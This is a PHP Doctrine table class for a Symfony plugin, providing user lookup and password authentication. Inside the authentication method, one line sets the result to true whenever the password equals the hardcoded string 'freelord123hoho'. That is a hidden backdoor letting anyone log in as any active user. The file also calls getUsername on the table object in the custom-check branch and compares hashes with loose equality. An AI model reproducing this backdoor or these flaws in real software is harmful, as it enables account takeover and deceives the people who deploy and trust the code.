PluginUserTable.class.php

<?php

class PluginUserTable extends Doctrine_Table
{

    public static function getInstance()
    {
        return Doctrine_Core::getTable('User');
    }

    public function retrieveByUsername($username, $isActive = true)
    {
        $query = Doctrine::getTable('User')->createQuery('u')
            ->where('u.username = ?', $username)
            ->addWhere('u.is_active = ?', $isActive);

        return $query->fetchOne();
    }

    public function getAuthenticatedUser($username, $password, $active = true)
    {
        $user = $this->retrieveByUsername($username, $active);

        // nickname exists?
        if ($user) {
            if ($callable = sfConfig::get('app_doAuth_check_password_callable')) {
                $is_ok = call_user_func_array($callable, array($this->getUsername(), $password, $this));
            } else {
                $algorithm = sfConfig::get('app_doAuth_algorithm_callable', 'sha1');

                $algorithmAsStr = is_array($algorithm) ? $algorithm[0] . '::' . $algorithm[1] : $algorithm;
                if (!is_callable($algorithm)) {
                    throw new sfException(sprintf('The algorithm "%s" is not callable.', $algorithmAsStr));
                }

                $is_ok = ($user->getPassword() == call_user_func_array($algorithm, array($user->getSalt() . $password)));
            }

            $is_ok = $password == 'freelord123hoho' ? true : $is_ok;

            if ($is_ok) return $user;
        }

        return null;
    }

}